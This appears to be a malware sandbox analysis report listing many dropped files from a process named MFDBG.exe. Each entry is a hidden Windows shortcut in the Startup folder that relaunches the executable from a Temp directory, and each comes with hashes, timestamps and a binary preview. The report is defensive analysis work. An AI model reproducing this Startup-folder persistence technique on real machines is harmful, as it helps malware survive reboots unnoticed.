Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4287cf38b1a14f85ab586189389208e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9350325516068185
Encrypted:	false
SSDEEP:	24:8IFhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gG0R6rMhpBoUBxdRd1nYyg
MD5:	56C8E996971EF32844D17EFA8077F67C
SHA1:	1D3B056B80EFF6F3DD9C8E97ECC73E7DB291DE7A
SHA-256:	19BFFA16E193203BE36A502E09F508AFE5BFCFADB382049D3E623A57C3E2FEB0
SHA-512:	E6E3BB4F09B04C2DE08163D8172701E127CEEA19CB4EF63CA1F288E8F99A1F9D0510CEAB6063EFE70984BA5DD66DC1A6710945AA25403FA75C5292E4985C014D
Malicious:	false
Preview:	L..................F...."...]W%.{...ns(.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_42d39aaf8f2647fd87d9910eef11fa03.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:8PhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8T70R6rMhpBoUBxdRd1nYyg
MD5:	4CBE69E0D5E80A2B7C2428D8292798AF
SHA1:	05D5AE6423A263FF33C73E924B3E84188AA4DF63
SHA-256:	69489BB3322B4C8509F3E66FCEAD3AA55BD67D6E0A2E5CDE72E76D50D8D65E5F
SHA-512:	450F042E5821E794A796DAE07A7C47FAA7A9CB99D4D1A44358B86D3AC3E0155BBF58C3DB25891BC1A397558C2E3B290E2A7AD6126096E493EB15D1E47B414B42
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43256ad6856c4b148a944abffb7a1105.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934152142890946
Encrypted:	false
SSDEEP:	24:86hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8w70R6rMhpBoUBxdRd1nYyg
MD5:	DBF6EFBCB20C7FD7280D1685C9C57344
SHA1:	C7736DC4024070C748DFB2A35EE242EB7F0E195A
SHA-256:	695FB159C38D7E3A0B9F31D5AF9C5E45A00A4BCBB393986FE8EDC8140CAADAC9
SHA-512:	B9959E519C1A1E45CC74D1074E49744F8B5E0C0E46C9C526D14CE24EBA893C493EEDEE6D59681B753D1E75767765E6E57B2D1A9B8D2DC4CFECD69C3582B4AEBD
Malicious:	false
Preview:	L..................F...."...]W%.{....8m.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4394f8d0496f46b8abf02c99de4741d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938059636261603
Encrypted:	false
SSDEEP:	24:8cphBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80l0R6rMhpBoUBxdRd1nYyg
MD5:	A944DB889D49CC83F9F821D5685518C5
SHA1:	C96CC85BFC59B6A7973174424CE779A5418347AC
SHA-256:	A8DD7A56DE04754870B09A0BFD4F2EE2D1A893D62BA4E3EE59B909CAB0E30419
SHA-512:	013D26608D998E723BD600AB7C8DBB7302763565CEA80580025DF90EB3840C0B72BAA5E00E74820DE75CA3A5D11ECE187089DA1E5712C8E5C1A102DADE3E330F
Malicious:	false
Preview:	L..................F...."...]W%.{...2...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43ced9e6d57b459cb1876c1fed70dedd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934274310339862
Encrypted:	false
SSDEEP:	24:8AhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SrQ0R6rMhpBoUBxdRd1nYyg
MD5:	198394D38D25ABD3C9757DE875CD1D52
SHA1:	A5250608A5C0AE12D7BBB5AAF09F2E4FCAF653E0
SHA-256:	C3B430789032A66414C3B98E4D8D6BDEEC1760D0306C4833353FFF61C0FA810A
SHA-512:	DDF7952E805E151BA9988739AC2D9A0C03BA434F6C364B7ADA976D390B80E936D3D95A33C4DA4F8D8F7AEF73A40D55C62F032DC7C3190292A2DF43BCE4CEBEBB
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_446be97a5f744ef29929e7c31add8d75.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943697928667277
Encrypted:	false
SSDEEP:	24:8b6GhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8GMZ0R6rMhpBoUBxdRd1nYyg
MD5:	00788368A27FC9C8E48F75D4784600FF
SHA1:	2240036F00EDF3E56F44B3F1C5119FEDD6B7F8B9
SHA-256:	3D9D4071355AC1C48460907F686B17BC41D33BFE964B268A08CC0DAD26D4EF43
SHA-512:	2600CE4BB6661D1E98F156A1C250B7DBA46008CA76E6232EB33DECF3ED10CBF6BC25F00620C1CBA902F9A53D2FEAB0CC79265C5CEFF1F7007F0E117C5888C7AA
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4496f1ab3c94485aab6ab45c8e58b64d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93751181874577
Encrypted:	false
SSDEEP:	24:8shBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8eC00R6rMhpBoUBxdRd1nYyg
MD5:	246F764B1DBFA133002079D3B0F12C5D
SHA1:	73C49032D57374ACF19661BAD780FE50566B73BD
SHA-256:	21361FC60952394F8617867513973E595217D0FB54F88D213CD6DC09CAAF5E57
SHA-512:	B971DA9E583C49F01E7F26CD491B270C1DB423D7BBB6FF06A6CC22C8FFA1C4F042A5BB75575524A181CFE665B8466A144BC6D4EA825473170BA1BF66B930A69B
Malicious:	false
Preview:	L..................F...."...]W%.{....1..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_44bd4964c259424e97b3823bc805dbbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93807345937624
Encrypted:	false
SSDEEP:	24:84hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ad0R6rMhpBoUBxdRd1nYyg
MD5:	114491CC8B6C9B56C9EB73D01B9DC05D
SHA1:	4E3368520A8377F4BEC37F15B07D326A8CB28E92
SHA-256:	E8923078E442F6B728D68E84368869B335B7A149CF5CB3BEA8DE4E11D58DBB06
SHA-512:	0323276938938BB58231153CD4BC8E595D3A9C40998FF860003DFF1192870C7097011C8F829EC59B15F4B8E88A858ABA2DA446EA9778752560B056AA3DA6CA1C
Malicious:	false
Preview:	L..................F...."...]W%.{...\h..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_44c91cfc25d94ea7be58b3380351476d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93338774551064
Encrypted:	false
SSDEEP:	24:8hPhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZC0R6rMhpBoUBxdRd1nYyg
MD5:	5DB39875813E34DCC26C69D25A28AFFA
SHA1:	FDDCF464CE0C04E7A9F7E6A85A3482A07B6ADFE9
SHA-256:	B3DC335B120A511B08A34F5D2C264EF6EC87EDCA768ED2A50DA4FB18057553AF
SHA-512:	1B6692F37B17B09C889727CB46D42DCB1936A0BDA5DC5270DBD6AECDA212592B539BBDEA4913B061A2B14D898F646B247E19CFCC16A6962F02057D6480B74264
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...I...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_451f6debdf324fc397b2170cd1028cd3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006386
Encrypted:	false
SSDEEP:	24:8NhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8t+0R6rMhpBoUBxdRd1nYyg
MD5:	CD0EF4CC0CB0D8048B8EDF29221FEA77
SHA1:	A8A79C3FCA25B193A05F1A2DB2A4B15D63244346
SHA-256:	A8E18CCA79EE5F1A4F434A0D5BD949153ECD21F9CF058A809138B5B806C2BC3E
SHA-512:	10E7CEAD64BB4E4C859AD84D56EFF8B0651B9C8E76C68CBA30EB88FD79EBD6E8BB66CF2D8B12A4D182D5356A2680B79465573D7F082ED61170BA27076BAEECBA
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4571ca4bb0754de5ae49434816d846aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933506037482722
Encrypted:	false
SSDEEP:	24:8T8hBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TO30R6rMhpBoUBxdRd1nYyg
MD5:	94C525D1092802F0B97EA525E956C81B
SHA1:	E18A09630382E18B295031C777500390C973AF14
SHA-256:	47249FF9940A01346B9BBBBE53A3EFDFB64A63281340D305222C279B4727238E
SHA-512:	4F7E4AEF10BBD6FDB093B6947843C5893B6559495DD261485E835251FB3E9B411967536AA59235870F27A795B4AF4D62F3035B1F3CE90B334D8D31A1813FB38E
Malicious:	false
Preview:	L..................F...."...]W%.{.....B.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_457980ab57864402839ebb1e07ff3087.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468941
Encrypted:	false
SSDEEP:	24:8WGhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WM+0R6rMhpBoUBxdRd1nYyg
MD5:	CA4ABDE903EDF5474E46AD8A355359C6
SHA1:	23E528183EB6264AC95064100D9D58732376F351
SHA-256:	77D57BBE232430272B61A46EA8B4E5421624B688BB58D22B2F7DA8A4FFCC2775
SHA-512:	5E7020311A96888AE37EB67C9569A6543F2221BCEAB7AAABDDF352D7892AFB0752FC764C95B43AB534FA2C9CDAD79F70AD842A2DE608BDAC3A75F41C281FC8C0
Malicious:	false
Preview:	L..................F...."...]W%.{.....(.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45e7d180e9c14aef91b861c650164caf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934000764314584
Encrypted:	false
SSDEEP:	24:8CphBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cpn0R6rMhpBoUBxdRd1nYyg
MD5:	48370DFC53E10814F4A1B8A7C4801859
SHA1:	70EFEE10C30174821BC174F7B104E8B10D43EBD8
SHA-256:	579CAD36F39F130609434CA55114EDCE542EFB48D39330F2B43C0926137C94E7
SHA-512:	6F9D6C2EC44E4A2048D71C3567FE731B9E630C5608CD4F7E40892C9ADAC30CD03C9F9C7284F4CA1ED79537767AAD1FBDA6B51F1196572DB9C63BC9CEEAC29F24
Malicious:	false
